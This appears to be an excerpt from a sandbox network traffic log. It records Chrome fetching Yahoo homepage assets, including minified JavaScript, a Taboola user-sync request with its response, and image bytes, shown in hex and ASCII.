2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 73 2f 40 76 7a 6d 69 2f 77 61 66 65 72 2d 63 6f 72 65 2f 73 72 63 2f 75 74 69 6c 73 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 72 65 74 75 72 6e 20 73 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 40 76 7a 6d 69 2f 77 61 66 65 72 2d 63 6f 72 65 2f 73 72 63 2f 75 74 69 6c 73 2f 75 74 69 6c 73 2e 6a 73 22 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 72 65 74 75 72 6e 20 63 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 40 76 7a 6d 69 2f 77 61 66 65 72 2d 63 6f 72 65 2f 73 72 63 2f 75 74 69 6c 73 2f 63 6f 6f 6b 69 65 2e 6a 73 22 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 72 65 74 75 72 6e 20 6c 3d 6e 28 22 2e 2e 2f Data Ascii: s/@vzmi/wafer-core/src/utils.js":function(e,t,n){"use strict";function o(){return s=n("../../node_modules/@vzmi/wafer-core/src/utils/utils.js")}function r(){return c=n("../../node_modules/@vzmi/wafer-core/src/utils/cookie.js")}function i(){return l=n("../
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 2e 62 6f 74 74 6f 6d 7d 2c 76 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 21 28 65 2e 6f 66 66 73 65 74 57 69 64 74 68 7c 7c 65 2e 6f 66 66 73 65 74 48 65 69 67 68 74 7c 7c 65 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 7d 2c 67 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 2c 6f 2c 72 29 7b 69 66 28 6f 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 74 29 29 7b 76 61 72 20 69 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 74 29 3b 72 5b 69 5d 26 26 72 5b 69 5d 2e 70 75 73 68 28 6f 29 7d 76 61 72 20 61 3d 6f 2e 63 68 69 6c 64 72 65 6e 3b 69 66 28 21 61 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 73 3d 61 2e 6c 65 6e 67 74 68 3b 73 2d 2d 3b 29 65 28 74 2c 6e 2c 61 5b 73 5d 2c 72 29 3b 72 65 74 75 72 6e 20 Data Ascii: .bottom},v=function(e){return!!(e.offsetWidth\|\|e.offsetHeight\|\|e.getClientRects().length)},g=function e(t,n,o,r){if(o.hasAttribute(t)){var i=o.getAttribute(t);r[i]&&r[i].push(o)}var a=o.children;if(!a)return r;for(var s=a.length;s--;)e(t,n,a[s],r);return
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 74 75 72 6e 20 70 28 62 2c 73 2c 7b 6f 66 66 73 65 74 58 3a 72 2c 6f 66 66 73 65 74 59 3a 61 7d 29 7d 2c 74 2e 74 68 72 6f 74 74 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 6f 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 69 3d 41 72 72 61 79 28 72 29 2c 61 3d 30 3b 61 3c 72 3b 61 2b 2b 29 69 5b 61 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 61 5d 3b 76 61 72 20 73 3d 2b 6e 65 77 20 44 61 74 65 3b 73 2d 6f 3c 74 7c 7c 28 6f 3d 73 2c 65 2e 61 70 70 6c 79 28 6e 2c 69 29 29 7d 7d 2c 74 2e 62 69 6e 64 45 76 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 6f 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 33 26 26 76 Data Ascii: turn p(b,s,{offsetX:r,offsetY:a})},t.throttle=function(e,t,n){var o=0;return function(){for(var r=arguments.length,i=Array(r),a=0;a<r;a++)i[a]=arguments[a];var s=+new Date;s-o<t\|\|(o=s,e.apply(n,i))}},t.bindEvent=function(e,t,n){var o=arguments.length>3&&v
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 61 74 65 7c 7c 28 63 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 6e 75 6c 6c 2c 69 28 6e 75 6c 6c 2c 63 29 29 7d 3a 63 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 28 6e 75 6c 6c 2c 63 29 7d 2c 63 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 73 3c 3d 35 3f 65 28 7b 73 72 63 3a 6e 2c 74 79 70 65 3a 6f 2c 74 65 78 74 3a 72 7d 2c 69 2c 61 2c 2b 2b 73 29 3a 69 28 6e 65 77 20 45 72 72 6f 72 28 22 63 6f 75 6c 64 20 6e 6f 74 20 6c 6f 61 64 20 73 63 72 69 70 74 22 29 29 7d 29 3a 28 63 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 22 74 72 79 7b 22 2b 72 2b 22 7d 63 61 74 63 68 28 65 29 7b 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 20 26 26 20 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 65 29 3b 7d 22 2c 69 Data Ascii: ate\|\|(c.onreadystatechange=null,i(null,c))}:c.onload=function(){i(null,c)},c.onerror=function(){s<=5?e({src:n,type:o,text:r},i,a,++s):i(new Error("could not load script"))}):(c.textContent="try{"+r+"}catch(e){window.console && window.console.error(e);}",i
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 28 6f 29 69 66 28 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 29 74 72 79 7b 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 28 65 29 7c 7c 28 61 3d 21 30 29 7d 63 61 74 63 68 28 65 29 7b 61 3d 21 30 7d 65 6c 73 65 20 61 3d 21 30 3b 65 6c 73 65 20 61 3d 21 30 3b 69 66 28 61 29 7b 76 61 72 20 73 3d 6e 65 77 20 49 6d 61 67 65 3b 77 28 73 2c 22 65 72 72 6f 72 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 73 3d 6e 75 6c 6c 7d 29 2c 77 28 73 2c 22 6c 6f 61 64 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 73 3d 6e 75 6c 6c 7d 29 2c 77 28 73 2c 22 61 62 6f 72 74 22 2c 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: (o)if(window.navigator&&"function"==typeof window.navigator.sendBeacon)try{window.navigator.sendBeacon(e)\|\|(a=!0)}catch(e){a=!0}else a=!0;else a=!0;if(a){var s=new Image;w(s,"error",function(){s=null}),w(s,"load",function(){s=null}),w(s,"abort",function()
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 2e 77 61 66 65 72 73 5b 74 5d 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 6f 3d 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 6f 3d 21 30 3d 3d 3d 6e 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 6e 2e 64 65 66 61 75 6c 74 2e 5f 73 74 61 74 65 3a 6e 2e 5f 73 74 61 74 65 2c 6f 2e 65 6c 65 6d 65 6e 74 49 6e 73 74 61 6e 63 65 73 2e 67 65 74 28 65 29 7d 2c 74 2e 67 65 74 55 72 6c 50 61 72 61 6d 65 74 65 72 56 61 6c 75 65 42 79 4e 61 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 52 65 67 45 78 70 28 22 5b 3f 26 5d 22 2b 65 2b 22 3d 28 5b 5e 26 5d 2a 29 22 29 2e 65 78 65 63 28 74 29 3b 72 65 74 75 72 6e 20 6e 26 26 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6e 5b 31 5d 2e 72 65 70 6c 61 63 65 28 2f 5c 2b 2f 67 2c Data Ascii: .wafers[t];if(!n)return null;var o=void 0;return o=!0===n.__esModule?n.default._state:n._state,o.elementInstances.get(e)},t.getUrlParameterValueByName=function(e,t){var n=RegExp("[?&]"+e+"=([^&]*)").exec(t);return n&&decodeURIComponent(n[1].replace(/\+/g,
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 6e 74 28 6e 2e 73 75 62 73 74 72 69 6e 67 28 6f 2e 6c 65 6e 67 74 68 2b 31 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 6f 3d 3d 3d 65 26 26 28 74 3d 72 2e 74 72 69 6d 28 29 2c 21 30 29 7d 29 2c 74 7d 7d 2c 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 40 76 7a 6d 69 2f 77 61 66 65 72 2d 63 6f 72 65 2f 73 72 63 2f 75 74 69 6c 73 2f 69 6e 64 65 78 44 42 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 Data Ascii: nt(n.substring(o.length+1))}catch(e){}return o===e&&(t=r.trim(),!0)}),t}},"../../node_modules/@vzmi/wafer-core/src/utils/indexDB.js":function(e,t,n){"use strict";function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49884	151.101.193.44	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:54 UTC	656	OUT	GET /1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8 HTTP/1.1 Host: api.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:54 UTC	973	IN	HTTP/1.1 200 OK Connection: close Server: nginx Content-Type: application/json;charset=utf-8 P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Credentials: true Set-Cookie: t_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2;Version=1;Path=/;Domain=.taboola.com;Expires=Sun, 27-Apr-2025 22:41:54 GMT;Max-Age=31536000;Secure;SameSite=None Set-Cookie: t_pt_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2;Version=1;Path=/;Domain=.taboola.com;Expires=Sun, 27-Apr-2025 22:41:54 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned Accept-Ranges: bytes Date: Sat, 27 Apr 2024 22:41:54 GMT Via: 1.1 varnish X-SERVICE-VERSION: v1 X-Served-By: cache-ewr18155-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1714257715.643286,VS0,VE67 Vary: Accept-Encoding X-vcl-time-ms: 67 transfer-encoding: chunked
2024-04-27 22:41:54 UTC	4	IN	Data Raw: 35 33 0d 0a Data Ascii: 53
2024-04-27 22:41:54 UTC	83	IN	Data Raw: 7b 22 75 73 65 72 22 3a 7b 22 69 64 22 3a 22 35 61 37 30 64 33 64 32 2d 62 31 39 32 2d 34 31 30 33 2d 62 65 36 66 2d 62 38 36 66 65 63 34 38 33 66 62 63 2d 74 75 63 74 64 32 37 30 34 62 32 22 2c 22 69 73 4e 65 77 55 73 65 72 22 3a 74 72 75 65 7d 7d Data Ascii: {"user":{"id":"5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2","isNewUser":true}}
2024-04-27 22:41:54 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49885	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:54 UTC	589	OUT	GET /g/images/spaceball.gif HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:54 UTC	837	IN	HTTP/1.1 200 OK x-amz-id-2: eLv71WysBstLkNGcBAbfV9qXkubx/o3HusmRQfuqIypZy0i5/RaBROe3NCSYE4yECj/ZABMmcuM= x-amz-request-id: JH7NRH514HQKGA03 Date: Sat, 27 Apr 2024 14:30:34 GMT Last-Modified: Wed, 24 Feb 2021 23:21:03 GMT ETag: "325472601571f31e1bf00674c368d335" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: KAUQOG5o0gBSJgl4c2JS9bVGo5z87pfq Accept-Ranges: bytes Content-Type: image/gif Server: ATS Content-Length: 43 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 29481 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:54 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49886	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:54 UTC	616	OUT	GET /pv/static/img/voiceSearch1x-1620383531565.min.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:55 UTC	788	IN	HTTP/1.1 200 OK x-amz-id-2: ELkN7XyX0LN7zrveCmXQCbPc8DLrRsuWKZgGcFxDnZrV3LTgB8OEdRlrZzsaVHB5BogWH7nZ6+E= x-amz-request-id: 4KS2B80RDX98SB40 Date: Sat, 27 Apr 2024 14:24:24 GMT Last-Modified: Fri, 07 May 2021 10:32:24 GMT ETag: "c2396079060a7028fa898a73b72aa592" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 2986 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 29851 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 29 00 00 01 4a 08 03 00 00 00 b7 a9 86 84 00 00 02 6a 50 4c 54 45 00 00 00 49 49 59 97 9e a9 9e aa aa ff ff ff 1e 23 29 45 82 f9 5c 65 6c 1f 22 29 ff ff ff 5c 64 6b 21 77 ed 10 6a ff ff ff ff 0f 6a ff 10 6a ff 27 2f 3b 00 3a bd ff ff ff 00 3b bc ff ff ff 0f 69 ff ff ff ff 10 69 ff ff ff ff 23 2b 31 24 2c 34 10 6a ff ff ff ff ff ff ff ff ff ff ff ff ff 0f 69 ff 24 2b 33 ff ff ff 00 3b be 00 3a bd 23 2a 32 0f 69 ff 00 3b bd 23 2b 32 00 3b be ff ff ff 10 6a ff ff ff ff 0f 6a ff 11 6a ff 16 6d ff 0f 69 ff ff ff ff ff ff ff 13 6c eb 00 3a bd 98 9f a9 23 2b 32 23 2b 31 5c 64 6a 1f 23 29 10 6a ff 0f 6b ff 0f 6b ff 23 28 2f 11 6c ff 26 2d 35 00 3b be 12 6e ff 18 6e ff ff ff ff 2a 2a 37 ff ff ff 10 6a ff 00 Data Ascii: PNGIHDR)JjPLTEIIY#)E\el")\dk!wjjj'/;:;ii#+1$,4ji$+3;:#2i;#+2;jjjmil:#+2#+1\dj#)jkk#(/l&-5;nn*7j
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 75 96 90 5f 6e 91 49 41 65 fa e8 16 be 29 38 07 35 95 b0 c8 c8 30 33 ae d5 fa 38 4a e3 d6 b7 42 e1 de a3 d4 c8 d1 bd 58 cf 85 d4 9b 42 e4 0c b6 d3 ca 6c 97 cb 70 21 c3 e5 72 8a 90 53 e4 b2 a1 90 0d ff cb 9f 97 83 9c 83 aa 4b 71 40 24 92 1d 89 ac 26 c5 01 91 10 b6 23 a4 9a 14 07 44 c6 b3 1d f3 02 c9 79 ac 32 de 57 2e 60 3b ca 78 65 9a 90 d3 80 a5 8c 55 16 80 6f 9c 94 8e e3 e5 2c 21 67 01 cb 38 4a 9d e0 17 87 f7 7a 9c 23 e4 1c ef f5 ea f0 97 79 94 da fa 7f 6f 54 34 d9 df 46 69 9e bf ec c8 8e 8d e5 95 f8 e3 1e 38 c3 f8 bf b1 ac d6 b1 fa 6d 61 f3 4c 47 b1 c3 e9 74 14 7b 26 cf 16 e0 26 09 b1 53 1a 15 0f 7e 89 8f a2 d4 1e 52 55 1a 1d 4d de eb 77 eb 4f 36 4e a9 5a c2 66 b0 fd 99 db c3 2a b7 b7 67 f2 d3 0d 74 d7 27 14 1a 2b 93 d7 d1 18 61 9e b1 5a 85 09 10 28 d6 Data Ascii: u_nIAe)85038JBXBlp!rSKq@$&#Dy2W.`;xeUo,!g8Jz#yoT4Fi8maLGt{&&S~RUMwO6NZf*gt'+aZ(
2024-04-27 22:41:55 UTC	386	IN	Data Raw: ef 29 c6 67 c6 45 ca 64 b8 f8 c8 fd 96 be 96 8d da e6 10 1b 71 d9 12 19 49 07 89 8d c2 4c a9 5c 27 36 1c 0d 65 73 64 9b e6 73 26 b2 de 61 0d dd 25 5e 0f 48 67 74 9e 2d 2a 01 8c 8c 77 66 c6 4b 20 6f 69 59 19 2f cf 38 69 76 18 48 73 c7 4e 33 b3 0b 9d d4 e9 a0 63 10 3a 6f 4c 1c b5 1f 5d 7f d0 1a 8e 52 08 8b 5f c0 0b 41 91 fc 28 3d 09 26 e9 1a 7b 02 98 0c 02 fb e5 e6 f6 93 0b f1 cc 27 1e f6 f0 07 fd 5c 33 b2 39 97 cd 6b 43 2a fd 84 ec a7 c8 64 89 f6 f2 bb 7c a9 95 c8 5f 85 b4 fb 2e db c9 df 88 3c d3 1e 42 11 97 45 f0 50 7b 26 93 6a 8f 2c 45 5d a9 69 2b 55 25 ab 87 0a f2 ee ef 01 94 97 03 dc 43 5f c7 c4 68 31 ed 14 a5 1d 2b d0 79 da c6 1e c9 d9 df 36 05 d0 1c 28 ba 75 ab e8 00 d4 64 36 0e 37 b2 11 97 25 cd 8d 94 80 89 74 0d 0d ed 0a a6 e0 24 42 26 99 a2 a1 66 Data Ascii: )gEdqIL\'6esds&a%^Hgt-wfK oiY/8ivHsN3c:oL]R_A(=&{'\39kCd\|_.<BEP{&j,E]i+U%C_h1+y6(ud67%t$B&f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49888	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	517	OUT	GET /uu/api/res/1.2/jMW9TnmcMAOJFMuiiKZolQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/5a7962ba37d45b87596e3ec992be838a.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:55 UTC	1299	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 369726201825783549339090578576958215252,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="5a7962ba37d45b87596e3ec992be838a.webp" Edge-Cache-Tag: 369726201825783549339090578576958215252,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "553057a024931171ab8c3d85d9dfbb31" Expiration: expiry-date="Thu, 24 Oct 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Fri, 26 Apr 2024 19:05:32 GMT Server: ATS Surrogate-Reporting: width=536,height=284,bytes=33464,owidth=960,oheight=540,obytes=131460,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sat, 27 Apr 2024 21:32:45 GMT X-Served-By: cache-lga21960-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 0 X-Timer: S1714253565.433106,VS0,VE1 Age: 4150 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_by: cache-lga21960-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 65934 ATS-Carp-Promotion: 1 Connection: close
2024-04-27 22:41:55 UTC	178	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 01 1c 02 18 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 02 03 01 01 01 01 01 00 00 00 00 00 00 00 00 05 07 04 06 08 03 02 01 09 00 ff c4 00 47 10 00 02 01 03 03 02 05 01 06 04 03 07 04 01 01 09 01 02 03 04 05 11 06 12 21 00 31 07 13 22 41 51 61 08 14 32 71 81 91 15 23 42 Data Ascii: JFIFCCG!1"AQa2q#B
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 1f 3d 65 1d da 36 91 42 81 90 3a b2 e0 9d 0d 3b cc 56 44 3f f0 9c 15 38 f6 1e dd 44 be 08 2c 2a f3 16 6c 96 5e e7 e7 a3 09 b4 8a 91 60 19 0e d5 ec 0f 3e fd 1a e4 4e 23 82 78 ee 49 e8 d6 3a b4 7b c0 e7 18 e8 92 e1 27 35 3b 4a 77 c2 32 c7 80 87 b1 eb 6e a8 93 84 42 5a 36 f3 11 17 68 6c 63 3c 1c ff 00 72 7a df 2c 74 19 56 86 67 0a ec 0f 96 c7 04 ff 00 a7 d3 ab fc 66 f8 11 7a aa a9 a7 69 2a 68 a8 c4 ec 71 b0 2f 6e 0e 31 9e b1 7d 62 87 c9 ba a2 66 8c b1 47 03 d4 78 2a 14 73 8c fb 9e c3 ad 34 8e 94 82 58 d9 66 2e ac 72 b8 27 fb b7 c9 ea c6 7a 70 f2 9e 09 f1 25 46 e3 37 ad 63 23 85 e3 8e ba 72 e7 5c 24 1d 81 7c af 3b 82 b7 b8 3d 8f 5b 4d c7 66 67 83 06 22 0b 15 2c b9 fc bf ef d4 6d ca 19 7f 97 17 1f f1 09 07 f3 c7 7e 99 a3 f9 96 31 4e 6a 24 91 7d 27 02 35 e4 fd Data Ascii: =e6B:;VD?8D,l^`>N#xI:{'5;Jw2nBZ6hlc<rz,tVgfzihq/n1}bfGx*s4Xf.r'zp%F7c#r\$\|;=[Mfg",m~1Nj$}'5
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 27 8c e2 10 88 1c 1f 50 6e 82 48 1e 61 55 75 db ce 73 ef c7 b7 41 d1 60 2c 49 2d 8c 7d 3a 61 eb 9b c3 e6 3a b5 46 55 90 63 69 03 9f af 41 e0 26 56 2a 78 57 11 8c fa b3 cf 7f fb 74 12 9a 03 1c 81 d9 18 7b 05 51 93 9f fa 7d 7a 09 71 4a 23 c4 79 de a0 33 16 5e 40 e8 3b cf 3b 42 f1 48 bf 8c 27 7f d3 3d 4b e0 97 17 94 11 3c b2 02 36 72 c4 f5 ce cd 47 48 ea 14 b0 46 0c 33 ee 39 ea b6 23 43 b5 e3 4f 56 d7 67 2a bc 03 d8 fb e7 bf 43 56 6b 64 66 14 53 2b 08 91 80 20 05 fe dd 2f 8d 72 35 03 2a 15 99 9b 08 de ac f5 96 9f 6a 24 9a 27 0b 1c 81 22 c9 66 c9 3d ba 0e 8a 26 a9 56 20 b4 28 46 77 f6 77 1f 41 ed fa f3 fe 7d 01 aa 34 a4 48 44 50 ee 7d bc b1 27 b9 3e fd 46 53 e3 3c 9e 3b 1c 75 64 d4 ae 82 3d b2 79 99 ef ed 8e 98 78 92 72 39 cf 51 a5 7e fd 7e 28 a6 92 99 f2 fc Data Ascii: 'PnHaUusA`,I-}:a:FUciA&VxWt{Q}zqJ#y3^@;;BH'=K<6rGHF39#COVgCVkdfS+ /r5*j$'"f=&V (FwwA}4HDP}'>FS<;ud=yxr9Q~~(
